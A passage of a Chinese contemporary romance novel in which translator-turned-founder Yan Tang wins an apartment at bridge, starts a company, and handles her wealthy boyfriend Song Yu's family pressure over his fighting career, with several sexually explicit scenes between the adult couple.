“我饿了。”燕棠叫停了他的夸赞,免得他捶腿按腰的动作开始变质,“我们去吃东西吧。” “好,我带你去吃东西。”宋郁拿起手机,又说,“不过今天我们只能在酒店休息,下午爸爸找我有事。”—吃过饭后,燕棠才知道所谓的有事,是宋郁被抓去顶替他哥,陪他爸打桥牌。 酒店为集团专门布置出来一间活动室,墙面全是木头搭成,深色花纹地毯,。他们抵达时,活动室已经很热闹,几个中层员工在老板和高层那桌聊天,但迟迟不上牌桌。对员工们来说,和老板打牌是个技术活,还不如自己跟同事放松玩儿一局。 "Kirill和Yana来了啊。"其中一位高管看向燕棠,“正好我想休息一下,你会打吗?” 燕棠说:“会一点点。” 宋裕川一听她会,立刻拍板:燕棠和宋郁一组,坐南北,他跟另一位高管坐东西,来一局玩玩儿。 “挺久没跟小儿子打牌了,你认真打,别给我敷衍了事,来一两局就溜走了啊。”宋裕川热衷打桥牌,太了解宋郁没耐心的秉性,先把话说在前头,为此还抛出了诱饵。“这样吧,赢了爸爸给奖励,有什么想要的?” 宋郁原本只是想过来完成任务,心里还盼着早点儿回房间,这会儿听到有奖励,终于来了兴趣。他往桌后一坐,略作思索后对他爹狮子大开口:“赢了就送我们一套房子,城市和价格随我们挑。”燕棠听见他说的是“我们”,不是“我”,瞬间震惊地看向对面的宋郁,用眼神问:这合适吗??而宋郁刚跟她对上视线,就用一种真诚又疑惑的目光回应:爸爸的钱包难道不就是用来宰的吗? 他自己从少年时打比赛,一路闯进UFC,早就家底丰厚,不缺这点儿房产。 ——但白拿谁不拿。 燕棠正想着难怪宋郁被他爸说“费钱”,没想到宋裕川这会儿也相当爽快地答应:“可以,那你输了也有条件。” “什么条件?”宋郁问。 他爸说:“滚回公司上班,正好让你哥带带你。” 宋郁这阵子已经听他爸提过这件事不止一次了,忍不住说:“我哥不是做得挺好的吗?” “他要是忙得过来,你现在就不用在这里替他打牌。”“那爸爸还忍心打牌——” 宋裕川笑了一声,“我老了啊,头发都白了,要退休陪你妈妈了知不知道?”有宋璟顶上来,大方向是不用愁的,但如果小儿子能回到集团工作,亲人上阵总比外聘职业经理人来得让人安心。 燕棠和另外一位高管就默默听着,没吱声。她一侧头,就跟那位高管对上目光,见他用口型说:富人的烦恼。 这时,宋裕川又对小儿子说:“我不逼你,公平游戏罢了,你和Yana努力一点,赢了这局爸爸就不催,房子随便挑,要是买新房就给你们包装修费。” 听他爸都这么说了,宋郁彻底来劲儿,往椅子后一靠,真诚地对燕棠说:“靠你了,我很久没打牌……” “你很久没打?!”燕棠不敢置信。 难怪刚才这父子俩一个敢开口一个敢答应,估摸着宋裕川是算定了宋郁牌技生疏打不过。 而燕棠……她还真的会。 那时跟宋郁去拉斯维加所旁观他们打德扑,燕棠发觉这好像是某些圈子里常见的社交方式,当年过年在老家再碰到表姐,就顺口提了一嘴,表姐建议她可以学德扑或者桥牌。 在莫斯科学习工作的日子压力很大,除了和朋友出行旅游之外,日子是很枯燥的,燕棠便学起了桥牌。桥牌讲究策略和逻辑思维,对她这样在关键时候脑子容易卡壳儿的人来说是一个很好的锻炼。她越学越有趣味,这项习惯便坚持了下来,这两年跟书商和作家打交道时也上了许多次牌桌。但对上宋裕川这样长一辈的人,燕棠并没有抱太多希望。牌桌采取IMP计分,她和宋郁在前几局落后了10多个IMP,而宋郁虽然脑子聪明,这么多年没碰牌还跟得上节奏,但还是错过了一次扣庄机会。 打到一半,宋裕川开始问宋郁想去哪家公司。 燕棠瞥了一眼宋郁,发现他面无表情地垂眼盯着自己手上的牌,抿着唇没吱声。大概是经历过太多糟糕的境地,她这会儿倒没什么沮丧的感觉,还在认真思考,看看有没有机会破局。 破不了也没关系,最差也不过是不能白拿一套房子,男朋友回去继承家产。 而用最差的期望去做事,反倒容易遇上峰回路转,柳暗花明的机会。 果然,燕棠坐庄,宋郁明手,宋裕川当东家进攻,西家高管打配合,最后是燕棠沉住气,以退为进完成定约,竟然翻盘反超。 宋郁没想到她还有这么一手,高兴地抱住她亲了一口,宋裕川愿赌服输,说会找人跟他对接买房的事情,让他可以滚回房间谢老婆了。 打牌的时间过得飞快,晚餐都是直接送到活动室,等他们出来才发现已经是晚上九点多了。 燕棠刚回到房间,就被宋郁抱住又亲又蹭,听他夸她:“你真厉害。” 她这会儿才放松神经,顿觉疲惫不堪,直接倒在床上挺尸,声音虚弱:“我要睡觉,打牌太废脑子了。” 于是宋有服侍她脱衣服洗漱清理,等她刚刚躺上床,立刻就掀被子贴上来,从身后环抱着她,掏出手机打开相册,让她也能看到手机屏幕—上面是一处房产的照片。原来他昨天就是在看这玩意儿。 “我爸妈前几年在莫斯科买了套房子,还没住过。这里地段好,高层公寓,面积大,视野也很好。我自己在莫斯科的别墅虽然很好,但是位置有点儿远,适合度假。等我们回莫斯科了就住这里吧。” 燕棠听他说这么溜,怀疑他是早有预谋。 结果宋郁干脆地点头:“我妈妈喜欢买房,当时买这套房子的时候也只是做投资罢了,我本来是想跟爸妈用亲情价买下来的,谁知道你这么厉害。” 他还问:“还是说你想在北京住?北京已经有公寓了,如果你想住别墅,我们可以住回北四环那套房子,我的房间很大,当初妈妈看重那套房子,就是考虑到我和我哥以后结婚了可以带妻子住进去,但那里不适合常住,隔音不算特别好…….” 说到这里,宋郁又摸出了一盒避孕套。 他牵着她的手按在自己的裤头,亲亲密密地说:“你今天赢了一套房子,为了庆祝一下,我们用这款吧……” 燕棠勉强掀起了沉重的眼皮,认出那盒子上写着什么“猫舌”“颗粒”。 她给宋郁提起裤子,惋惜地说:“我太困了,明天再庆祝吧,实在不行,你试试反戴着解决一下?” 52、他的名字(新增一千字,精修)… 反戴肯定是不可能的。 宋郁在兴头上,原本宽松的裤子现在都觉得勒得慌。 他抱着燕棠躺下,还以为她只是逗逗他,等会儿会忍不住像之前那样伸手过来碰碰他。 可没想到她真的睡着了。 枕在他的手臂上,闭着眼,发丝散落。 燕棠的习惯在这些年也发生了许多改变,譬如她喝得咖啡已经从拿铁变成了美式,譬如她不再穿T恤长裤作为睡衣,而是偏爱布料柔软贴身的丝质睡裙。 月光穿过安加拉河的薄雾,落入窗内,洒在她身上。 睡裙的领口微斜,略微露出白皙的胸脯,那一处正随她平缓均匀的呼吸而起伏着。 宋郁掌心轻轻搭在她的腰间,而燕棠的体温正透过丝滑单薄的布料传递至他的掌心,静悄悄地融化着久别的陌生感。 他低下头,鼻尖略过她的发丝。 这乌黑的长发因为被护养得十分顺滑,被真丝发圈束起时总会有几缕滑落,落在她脸侧,有的会贴在颈项。 宋郁开始轻轻地亲吻燕棠的脸颊。 他的动作很轻,不至于吵醒她,但仍让他充分感受到了肌肤柔软的触感。 燕棠睡着时,眉眼间带着一种内敛的平和,就如当年坐在书桌前,低头握笔,一笔一划地教他中文时一样。 现在她躺在了我的床上。宋郁这么想。 他将脸埋进了她散落在枕边的浓密发丝里。 燕棠梦见地震了。她恍恍惚惚地睁眼,感觉床在摇动。 西伯利亚这一带的建筑和用具大多都是木制品,他们睡的床也不例外,但木料敦实,按理说床应该很稳固才对。 她真的以为地震了,人还没有完全清醒,迷迷糊糊地惊叫了一声,立刻喊:“Kirill!” “嗯?” 身后就传来一道毫不掩饰喘息的声音,燕棠感觉有急促的呼吸落在她颈侧,随后变成了亲吻。 燕棠的脑子终于开机,意识到身后正在发生什么,脸颊臊得发烫。 但宋郁完全没有任何害羞的情绪,只说了一句:“我尽量放轻动作了……别动,我马上就—” 燕棠被他压得趴在床上,感觉到他秀挺的鼻尖正抵着她后颈,像个小变态一样在闻她的气味。“你……你…….”她还没说出个所以然来,先听见他喘了一声。宋郁将她的睡裙往下拉了拉,轻轻说:“把你的裙子弄脏了。” 来到利斯特维扬卡后,时间过得飞快。除了去冰钓之外,他们还去了趟贝加尔湖的奥利洪岛。这里远离都市,居民过着十分简朴的生活,还保留有代代相传的萨满巫师。燕棠以前在小城市待久了,总是向往大城市,等现在已经在大城市扎根落地,反倒在忙碌的生活中眷恋起西伯利亚这样平静朴素、回归自然的生活。 白天里闲逛,夜里就做爱。 宋郁刚满二十二岁,虽然左膝有旧疾,但仍然是身强体壮的时候,手臂和腰部耐力和爆发力都超乎常人。 有时候燕棠会怀疑他把她当成了训练器材。可宋郁却说:“如果是训练器材,就不只是这点力道了。” 素了几年,燕棠当然也有需求,但饿了那么久,忽然吃太多容易撑坏。 等要回莫斯科的时候,她对西伯利亚的眷恋已经被宋郁干碎了。 飞机在下午五点降落于谢列蔑契娃机场,又回到了熟悉的城市风景里。燕棠在晚上打开家门,身后还跟着个小尾巴宋郁。 他试图劝她在老爹给的公寓处理好之前,先跟他去大别墅住,但燕棠过两天就得回北京处理公司初创的事情,资料都在家里,回来更方便一点儿。宋郁二话不说,下飞机就自觉告别家长跟她回家。 “我要回学校递交毕业资料和期末论文。”他这晚顺带把两人去北京的机票买了,还问她想不想在北京附近玩。 燕棠只得给他做心理准备——她回北京之后会非常忙。 创建公司是个麻烦事。其实在市监局办手续的过程是很快的,国家鼓励创业,在流程上能简则简,能快则快,只要找位熟悉公司设立流程的财务去办手续就行。 但困难全部都落在了前期。 她和其他合作伙伴需要考虑公司成立地的扶持政策、税收优惠,选择经营范围的时候还要考虑是不是需要办理牌照,而办理不同牌照的成本也不一样,还要同步考虑缴纳员工社保和后续招聘等等。 这次回去,燕棠就是跟先前谈好的股东最后一次讨论公司设立方案,把股东协议和公司章程签了,以便后续把营业执照拿到,开始推动业务层的策划案。 她之前为了跑通流程跟基金会合作,就是因为能用基金会资源,直接对接外聘律师团队。现在出来单干了,在这方面就需要和老东家彻底隔离开。 几乎每一步都涉及财务问题和法律问题。而每向专业人士咨询一次问题,钱就按照分钟为单位哗啦哗啦地往外流。 新租的办公室不大,一个会议室,一个给创始人挤在一起办公的独立办公室,还有一处给员工坐的开放办公区。位置有些偏,装修也很一般,白墙瓷砖地,有几盆植物装点,远远比不上基金会总部那样高档精致的大楼。但创业首先要考虑的是成本,前期艰苦,能省则省。 燕棠坐在办公室里细细翻看了一遍务递来的预算金额,心头在滴血,悄悄跟回到北京坐镇的合作伙伴冯橙说:“真是哪哪儿都是花钱的地儿,我们能少招几个人吗?” 冯橙坐在办公边哈哈一笑,对她说:“恭喜你实现人生升级——开始共情资本家了。” 人生就是不断打怪升级,燕棠在翻译这行做得还可以,鼓起勇气开公司,一瞬间就进入了资本世界的底层。 他们终于在第四天中午谈定了各种文件的终稿,只要律师把协议终稿改出来签字,公司的草台班子就算是搭好。 她也的确实现了身份升级,名头除了翻译之外还又加上了“股东”“董事”“行政总裁”。 虽然名头高大上,手下其实只有两三个兵,要学的东西很多,身上压力自然也变得更重,如果经营不好,公司可能第一年就直接倒闭。饶是如此,燕棠心里还是有抑制不住的开心——这又是一个新开始。 “外部股东问我们什么时候有空一起吃个饭,今天中午?还是改天?”会议结束时,冯橙过来敲她办公室的门。 “改天吧。”燕棠一边收拾包一边说。 冯橙见她急匆匆的样子,笑着问:“什么事儿这么着急,赶下一场会?” “送男朋友去上学。”燕棠淡定地背起包,跟一脸震惊的冯橙说再见。 北京的十二月没有西伯利亚的温度低,但每天都是大风。 街边还有人在卖糖葫芦,一楼底商有稻香村和炒肝店,阳光落在不远处的红墙黑瓦上,多了几分北平的味道。 燕棠捂着衣领狂奔至路边的黑色轿车前。 车门缓缓打开,宋郁还像以前那样坐在靠里的位置。 他在家是休闲的打扮,出门就穿得成熟了许多,外衣下是宽松的薄针织毛衣和深色长裤,袖口提至小臂中段,肌肉线条明显,燕棠这段时间充分领教了那手臂的力量。 ——但这改变不了他仍然是个要去学校交毕业材料,明年六月才毕业的男大学生这个事实。 燕棠坐在他身边,有一秒感觉自己像是个包养男大学生的总裁。她颇有总裁风范地对司机说:“开车吧。” 车子启动,往北五环开去。 男大学生放下手机,伸手摸了摸燕棠的手,很温暖很细腻,又拈起她一缕头发放到鼻尖处闻了闻。 燕棠把头发从他手中抢过来,笑着问:“你干嘛。” 他慢悠悠收回手,“你身上好香,是喷了香水吗?” “没错,听说香水气味可以管理人的第一印象,我喷一点儿木质香来镇住其他股东和律师。” 宋郁笑出了声,“为什么是木质香?” “因为听说 霸总’身上都是这个味道。”燕棠说完,又跟他用俄语解释了一遍“霸总’的含义,为了方便他精准理解,还补充了两个案例:“比如你爸和你哥。” 宋郁听完她的解释,忽然安静了片刻,转而问:“今天开会顺利吗?” “很顺利,定稿了。” 他又问:“有人知道你谈恋爱了吗?” “有呀,冯橙知道了。” “就一个?” 燕棠笑出了声,“我今天是去谈工作,总不能在会议室吼一声我有男朋友吧。” 在休假的时候,小谭在宋璟吩咐下已经把两个人的照片放在宋郁的社交账号上。他长那么帅,虽然现在热度远远没有之前高,但还是有些粉丝保持着关注,算是官宣了他俩的消息。 但格斗圈太小,燕棠又不是什么名人,这波澜都不比小石子丢进池塘里的大。 不过S Monster俱乐部的人倒是知道了,等宋郁在学校交完材料,他们今晚正准备去和俱乐部的选手聚餐。 聚餐地点在胡同里的日料店,就是燕棠当年走马上任,成为宋郁的中文老师后参与俱乐部聚餐的那家。 甚至还是当年那个包厢,白沙青竹,绿苔清泉,大家关上门围坐在一起,气氛立刻变得热闹起来。 自从留在美国疗养后,宋郁和俱乐部合约就暂停了,不过跟教练和选手们都还保持着一定的联系。对于他和燕棠在一起这件事,有的人不是很惊讶,比如超子和红姐。但有的人非常惊讶,比如唐蕊心。 “原来你喜欢小燕!什么时候开始的!!”哪怕已经知道这件事快一周了,唐蕊心还是觉得非常震惊。 “你说呢?” 宋郁脸上挂着笑,手臂随意搭在身边燕棠的椅背上,两个人之间环绕着一股说不出的亲密。 她回想了一下,当年宋郁对燕棠确实十分关照,一起吃饭、车接车送,每天都走在一起。但鉴于这人实在是太擅长无视女性示好,唐蕊心一度以为他根本没开窍,照顾燕棠只是为了努力学习。 —看来全都是装的。唐蕊心终于接受了这个事实,对他说:“小燕那时候对你爱答不理,我看你们男人就是贱嗖嗖的。”燕棠听到这里,忍不住举手为自己辩解:“我没有爱答不理吧。” “你有。”一直安静的宋郁嘟囔了一句。 饭吃到一半,有个新人忽然把聊天的话题转到了赛场上,聊起这一年崭露头角的新人和几场本年度的精彩赛事。而燕棠发现宋郁这会儿直接就不说话了,背靠椅子安静地听其他人说,注意到她的目光,只是侧过脸冲她微微笑了一下。 唐齐坐在他另一侧,问起他恢复的情况,宋郁只是摇头。见他这样子,唐齐也不再提这件事。 超子和王天铭他们更敏锐,在新人选手们还聊得热火朝天的时候迅速地打了个岔,把话题引导别处去。 这晚回到公寓,燕棠清理洗漱完躺上床,宋郁立刻贴了上来,将她拦腰往怀里带,手臂搭在她腰间,长腿一伸,也压住她的腿。 “我要被你压散架了。”燕棠艰难吐息。 她在宋郁怀里转了个身,两人正巧鼻尖相对,视线相交。他的目光总是这么认真,让她感到心里暖暖的。 正当燕棠想凑上去亲他一口的时候,宋郁忽然开口了。“我已经被遗忘了。” 他的声音很平静也很轻,掺着一股带着凉意的失望。 燕棠知道宋郁仍然想要回到赛场上,但他似乎也清楚这是件很困难的事情。——道理都可以想得明白,但令人煎熬的却是非理性的感受。 但她想,也许在这件事上,世上没有人能比她要更理解这种无处诉说、无法表达的情绪。这种情绪像是一片迷雾,迷雾之下是沼泽,越挣扎陷得越深,直至窒息为止。 燕棠轻轻碰了碰宋郁的脸颊,安慰性地亲了他几口,见他一动不动,乖顺地让她触碰,心里软得一塌糊涂。 她最后半开玩笑地对宋郁说:“没关系,现在你可以只被我一个人拥有了。” 这话把他逗笑了。可他随即又说:“我知道我爸爸已经不赞成我继续留在赛场上,但我希望你可以一直支持我。” 宋郁说这话时语气很轻巧,但目光认真。 “我会的。但是……”燕棠试图跟他在讨论这个问题,比如他的健康、回到赛场的可能性等等。 可宋郁却说:“没有‘但是''。” 他身体力行地让燕棠无法再继续这个话题。 性可以带来真实的刺激和安全感,他比几年前要更热衷于这件事,借这样粗暴直白的亲密,迅速地消融分别多年带来的生疏感。不仅如此,宋郁还想尽办法地让人知道燕棠正在和他谈恋爱。 他联系几个熟悉的女性朋友征集意见,什么牌子的钻石戒指最亮—不求保值,需要尽快拿到手,最关键的就是要闪,非常闪,让燕棠抬抬手就闪瞎所有人的眼。第二天,宋郁行动力极强地带燕棠去Tiffany。 他牵着燕棠一踏进门店,销售就看见这洋帅哥脸上写着“我要在这里撒钱”几个字,最后成功卖出去两枚排钻戒指和一枚男士素戒。 一枚钻石克拉数大,但稍有些点儿咯手,另一枚是细钻,视觉效果是比前者小了一圈,但戴起来舒适。 “可以换着带,也可以叠戴,但不能不带。”宋郁说,“戴腻了再买。” 等燕棠去公司里给定稿的协议签字的时候,刚伸手准备拿签字笔,果然收获了所有人的目光。 “棠总爱情事业双丰收啊!” 回到北京后,燕棠大多数时候确实沉浸在快乐里,哪怕宋郁时有情绪不佳,她认为自己仍然能时刻提供支持。 直到她收到了一封邮件—来自莫斯科一家律师事务所,附件中是一份赠与合同,赠与的标的物是那套宋郁看重的房产,而受赠人同时写着她和宋郁的名字。 燕棠觉得,这件事有点儿超乎她的预料。 按她之前的理解,所谓的赠送房产肯定是送给宋郁,顶多让她住一下而已。 但现在,她和宋郁明明是未婚关系,但按照这合同的内容来看,却是让她和宋郁共同拥有这套房产,而转让房产的税都由宋裕川包了。 天上不会掉馅饼,至少不会掉这么大的馅饼。燕棠忽然有点儿忐忑不安,暂时装作没看见这封邮件。 直到和宋郁回到莫斯科,她还在翻来覆去地思考这件事。 燕棠最后给身经百战的表姐打了个电话。 表姐先夸她这些年真有出息,竟然真的把小洋人养成了,然后安慰她说: “你就接着吧,看来这家人还挺喜欢你的。人家对你好,就是希望你多对他们的儿子好,别让他伤心了。 “还有一种可能,是他们想让你帮忙管着你男朋友,在他耳边吹吹风,传递一下父母的意思,不过他不是挺有能耐的,应该不太可能吧……” 燕棠这才猛然想起来,宋裕川那天在营地的时候找她谈过话,想让她劝宋郁放弃比赛这条路。后来她几次想跟宋郁谈起,话题都被岔过去,这件事就被抛到脑后了。 —燕棠感觉到一点儿微妙的父子间的“权力”对峙。 “有钱人家都是这样啦,宠是宠,但毕竟是真的有皇位要继承嘛………”表姐这么说。 燕棠跟表姐打电话时,刚刚在基金会总部结束一场业务洽谈会,匆匆回到家里时已经天黑了。 一打开门,客厅亮着灯,宋郁看上去也是刚回来,正拿着手机回消息。他头上还戴着棒球帽,露出半张白皙的脸,没什么表情,明显情绪不佳。 燕棠知道他今天是去康复师那里复查,看样子效果不是很好。 她把包放在桌上,脱下外套,里头穿着身衬衣和米色半身裙,宋郁一抬头,就看见她漂亮的腰身,手上的排钻戒指闪闪发亮。 "Kirill,我们要谈谈。" 他笑着将她拉进怀里,“好啊,我美丽的女朋友要跟我聊什么?” 燕棠盯着他脸上的笑容,沉默两秒,缓缓开口。 “有件事我一直忘记跟你说了,你爸爸在狩猎营的时候私下找我说过几句话。” 宋郁一怔,微微垂眼盯着她,随手拢住她的长发,看似不经意地问:“嗯,他跟你说了什么?” 53、她被提醒… 装饰温馨的公寓内,角落里的小柠檬树隐没在灯光下,一侧的墙面挂着长势繁茂的绿萝,枝叶垂下,恰好碰到宋郁的行李箱。 他打算等人把爸爸送的公寓清理布置好后,就直接带燕棠住进去,所以暂住在她家中时并没有带太多家当。 而现在,燕棠正是要聊这件事。 她坐在宋郁的腿上,被他亲密无间地抱在怀里,但仍然注意到他收敛了调笑的态度。 宋郁注视着她的目光很沉,耐心地等着她继续说下去。 在这件事里,燕棠的位置特别尴尬。 宋裕川欣赏她,而宋郁是她的男朋友,现在宋裕川借送房的事情展示善意,希望她帮个小小的忙,把宋郁哄回家里的公司做事。说到底就是借着宋郁对她感情深,让他在她的劝说下听家里的话。 如果是普通人家就算了,偏偏宋裕川太有钱,大手一挥送了这么贵的东西,价格贵,里头的含义便也很重。燕棠越想越胆战心惊。 ——宋郁会觉得他爸把一套市价那么高的房子送给他女朋友,略有些不合常理吗?如果她不帮宋裕川说话,宋裕川会因此对她产生意见吗? 燕棠不确定。 她一直以来都不够精明、不够机灵,而她也并没有多了解这一家人。 但与之相对的,上天赐给她另一些很好的品质来弥补这些不足,那就是谨慎和清醒。 顶着宋郁那略有压迫感的目光,燕棠缓缓开口。“他希望我劝你回家里的公司工作,他在牌桌上不仅是说给你听,也是说给我听,我猜测这也是他愿意把那套房子一半的产权给我的原因。”她选择坦诚地说出实话。 “那你现在是在打算劝我回去吗?”宋郁看着她,轻轻抚着她的长发,声音平和,听不出什么情绪。 宋郁刚才本来就心情不佳,这会儿虽然态度上没什么变化,但燕棠觉得他已经有些不高兴了。她感到有些紧张,但仍然冷静地准备着自己的措辞。 “你爸爸担心你的健康,也在考虑你们家公司未来的事情,我觉得他的想法是有理由的。我也很担心你的情况,赛场太残酷了,有的选手失去意识的时候头着地,都是半死不活地进医院的,你的膝伤又一直没好——” “嗯,还有别的要跟我说吗?”宋郁忽然打断了她。 在这一刻,燕棠明显感到气氛彻底冷了下去。 她轻轻叹了口气,认真对他说:“虽然我是这么想的,但我能理解你的想法,所以我不会劝你放弃你想做的事业。” 说到这里,宋郁眉眼间的神色才蓦然放松了不少。 “但你爸爸是好心,我也不希望你们有任何的隔阂。另一方面,这房子归根结底又是你爸爸的好意,不要是驳他的面子,拿在手上我又没办法帮他说话,所以….…" 燕棠不知道宋裕川会不会因此对她有意见。 但要是真的收了这好处,默认自己愿意成为宋郁父母的隐形传话筒,她总觉得这个做法并不合适。 所有的话说完了,空气安静了几秒,燕棠略有紧张地抬眼。 当她跟宋郁对上视线,见他忽然扬起了一道轻快的笑容。 宋郁亲昵地捏捏她的脸,声音再次变得轻快。“我说爸爸怎么答应得那么爽快,这几天还等着他下一步动作,原来他在这里等着我啊。” 他并没有表示出对他爸爸的任何不满,重点反倒落在了燕棠的态度上,丝毫不掩藏眼中的高兴。 “我喜欢你把这件事原原本本地告诉我,如果你劝我回集团,我会难过。但如果你隐瞒这是我爸的意思,我会很生气,因为你在帮别人说话。”作为回报,宋郁也跟她说实话,声音温和舒缓,说完还低头亲了她两口。“看来你还记得我之前的说的话,你是我这边的人。” 燕棠怔怔地看着他。 的确,宋郁已经多次跟她强调过这件事。 她以为他是在措娇、说情话。 但在这一刻,她忽然意识到,恐怕他是在撒娇,但也是在隐晦地教她怎么融入他的家庭,又尽量避免使她感到有压力。 燕棠再次升起一种强烈的实感。—哪怕宋郁不像他的父兄那样威严且不苟言笑,但他的确和他们一样聪明得可怕。他肯定比她要清楚家人对他事业的看法。宋郁见她绷着脸,还以为她心里仍然在担心这件事,直接想了个解决办法让她放心。 “别紧张,不是大事。我们找个时间,一起给他和妈妈买个礼物。 “和我爸见面的时候,你不要说话,我会告诉他我们已经聊过这个问题。他知道我是难搞的人,你说服不了我很正常,他决定送房子的时候应该有心理准备。” 他很耐心地向她解释,安抚她的情绪。宋郁还告诉她,还好她坦诚说了,这样他才知道要怎么去跟爸爸沟通。 听他这么说,燕棠终于舒了一口气,而宋郁也很高兴—这也是他喜欢燕棠的一个地方,她很坦荡,尽管这让她很难被诱惑,叫他走了好大的弯路。 好在弯路已经走完了,现在燕棠就坐在他怀里。 这么想着,他的手从她的后背一路挪到她的腰部,衬衫布料丝滑,半身裙裁剪得当,坐下来时恰好裹着她的腰肢和臀部。 宋郁今天是去见医生,身上穿得十分休闲,连帽卫衣运动裤。 而燕棠这两天去基金会都是车接车送,从公寓到大楼地下停车场,一路都是暖气,室内非常热,她的裙子长,里头没有穿丝袜,小腿蹭着他的运动裤,刚才还不觉得,这会儿立刻就暖昧了起来。 “我还没见过你这么穿。”宋郁这么说着,目光还顺着往下,“也没见过你穿高跟鞋。” 凝重的氛围迅速消散,他又开始动手动脚,摸上她的小腿,一路往裙子里伸进去。 “里面穿的是什么?”他问。“防走光的衬裙。” “我可以脱掉它吗?”“你不是正在脱它吗?” “刚才你进门的时候就把我迷住了。”宋郁垂眸看着她,夸赞,“如果不是今天早上我先出门,我都想把你藏起来。” 他另一只手忙着解开燕棠的衬衣,等把衣服剥下之后,迟迟没脱她的裙子。 燕棠提醒他:“.……拉链在侧边。” 可宋郁却说:“今天你穿着裙子吧。”“高跟鞋也穿着。”他顺手握住她的脚踝,抬起,裙子边缘顺着小腿往上滑。 燕棠被他抱到书房里,放在书桌上。 这间书房不算大,墙面上还挂着穿衣镜,正巧和书桌位置相对。 燕棠刚被他放下,就看见了镜子里的景象。她穿得很成熟,偏偏宋郁今天穿得跟个大男孩儿似的,西装裙和运动裤,这还是在书桌边。为什么今天不去卧室里? 正当她这么想着,宋郁就开口了:“我今晚可以叫你老师吗?”——真的有点儿变态了。 几年前他俩在北京那会儿,宋郁很喜欢这么叫她。但燕棠接受不了,哪怕那时候他们早就不是家教关系了,这两个字仍然让她很有负罪感。所以当宋郁有一次在抵达高潮时突然这么喊她,燕棠直接慌得哭了出来。 燕棠看了眼镜子,又看了看宋郁,直言说她想回卧室,想把这身儿打扮换下来,宋郁不同意。“你毕业的时候,我送给你一双高跟鞋,那时候很想看你穿,谁知道之后都没机会了。” 他垂下眼,凝视着她的目光清清浅浅,声音里带有明显的感伤和遗憾。 那双浅粉色的香奈儿高跟鞋也是燕棠人生里的第一双,它的面料柔软,颜色轻盈,价格昂贵。 宋郁送给她的礼物,好像总带有他自己的色彩,但燕棠迟迟没有领略到这一点。 她心软了。 而她一心软,宋郁就顺着杆子往上爬。 他连裤子都没脱,就往下拉了点儿,拿出刚才顺手从抽屉里挑的猫舌颗粒避孕套,让燕棠帮他戴,还提醒她别戴反了,今晚是要让她爽。 燕棠有点儿后悔把镜子装在那个位置,因为当她抱住宋郁的脖颈时,恰能透过他的肩头,从镜子里看到她合脚的高跟鞋是怎么因为过分的动静掉到地面上的。 “掉了就掉了。”他抬起她的腿,西装裙的边缘已经完全挪到大腿处。书桌后是窗台,窗帘拉紧,桌面的铁艺台灯亮着灯,灯泡是由一条细细的金属链子吊在灯罩之中,这会儿正因为外力左右摇晃,撞得铁艺灯罩啪啪响。燕棠像是在水里游了一趟,浑身湿漉漉的,急促地喘息着,如果不是宋郁牢牢握着她的脚踝,她已经因为体力不支而开始发抖。 赋闲在家的宋郁实在是太可怕了。他心情不好,就变得更加黏人,一身精力没有训练消耗,就全部用在了她身上。 而在这种时候,他还会借机悄悄从她找回一些曾经的遗憾。 比如这时,宋郁忽然撑着她的后背,低头跟她接吻,另一只手却突然从她身下的桌面扯出一个本子。 燕棠掀起眼皮,看见那是她用来记杂事的本子,目光有些迷惑地转向宋郁。 “老师,你把我的笔记本弄湿了。” 他凑得很近,与她鼻尖相对,目光如水,明明是在逗她,眼里却含着情意。 这下流的情话,忽然把燕棠拉回很久很久以前。此刻的台灯灯光,仿佛变成了那年春日里稀薄的暖阳。她感到有些羞赧,可心里又同时升起另一种令她心跳不止的情绪。 在朦胧的、被光线晕染成暖黄色的画面里,她看见宋郁伸手过来,略过她的脸颊,反扣住她的后颈。 下一秒,他们额头相抵,鼻尖相对,灼热的呼吸交织着,双唇似有若无地触碰。 燕棠感到晕眩,随后听见他在她耳边再一次温柔地、缓慢地说:“你要安心和我在一起,我可以什么都听你的。” “康复师说我的情况不一定能恢复,但可以尝试同时进行物理治疗和无负重运动,比如水下跑步机……”宋郁闲散地坐在沙发上,跟他爸说起自己现在的情况 这处庄园式的别墅远离市区,深色木质家具充斥着古朴厚重的气质,窗外的雪松被皑皑白雪覆盖。 宋裕川一边喝茶,一边听宋郁说未来的计划、训练方案和治疗进度,没点头也没摇头,只是皱着眉。 而燕棠就按照宋郁说的一言不发,默默观看这父子俩无声交锋。 说实在的,宋郁对付他爸很有一套,非常熟练——适当装傻,偶尔嘴甜,辅之以认真的态度。他对那件事一个字也没提,尽管他对他爸找燕棠劝说这件事情有意见。 而宋裕川对他坚持回到赛场这件事也有意见。作为父亲,现在各种怀柔手段都用过了,他到底还是舍不得对孩子用强硬态度,想了半天,还是叹了口气。 “行,我可以答应一年内不提这件事,但你必须注意你的身体。”“一年?不够。”宋郁说。 “我觉得够了。”宋裕川已经不想谈这个话题。 他再喝了口茶,忽然转过头,对一旁安静如鸡的燕棠说,“我这个儿子更像他妈妈,我拿他没办法。”语气无奈,真情实感。 说罢,他又问燕棠:“你的公司开在北京,那你接下来是留在莫斯科还是?” 她说自己大部分时间都留在莫斯科,跟基金会和其他书商谈合作,模式类似于成为这些书商的策划供应商,利润环节在提出出版策划案和后续分成,轻量化运作。 宋裕川点点头,又说了两次“挺好”,对她说:“既然你在这里忙工作,就跟Kiril尽快搬过去那套公寓吧,我听说已经清理好了,那里离基金会也近。”这话说完,算是他摆明了态度,让燕棠安心。 这件略有敏感的事情以一种和乐的方式解决,燕棠终于松了口气。接下来几天里,他们迅速地搬进新公寓,而宋郁也开始联系教练,在莫斯科的俱乐部进行恢复性训练。 到目前为止,他的训练已经停滞了十个月,以前所有的训练计划都几乎不再适用。宋郁回到了他少年时训练的俱乐部,再次组建了专门负责他恢复训练的教练团队和康复治疗团队。 而燕棠也正式开始为自己的公司跑业务,当前主要是先和基金会签下一个合作框架合同,有了这样的大客户,她也好拿去跟其他书商联络。 万事开头难,设立公司难,在第一年里找合作方也难。 她的公司太小,三瓜俩枣都要计较,偏偏在跟合作方商量分成比例的时候没有优势,难谈得要命。 莫斯科冬季漫长,三月天里还在飘雪。 燕棠在潜在客户公司里聊了一下午,在分成比例问题上迟迟谈不下来,回到接她的车里坐下。 “钱难挣屎难吃。”她看着窗外的雪,叹了口气。 坐在驾驶位的小谭回头,高兴地问她:“棠总,我们现在去找小宋老师?” 燕棠忙碌了一天,精神疲惫,已经没有力气说话,点了点头。 车一路开过克里姆林宫和红场,穿越一片商业区,停靠在一个占地面积颇大,独立的四层建筑前,砖红墙,挂着黑色兽头像,下头写着"Mp6uc MMA",翻译成中文叫做雪豹俱乐部。 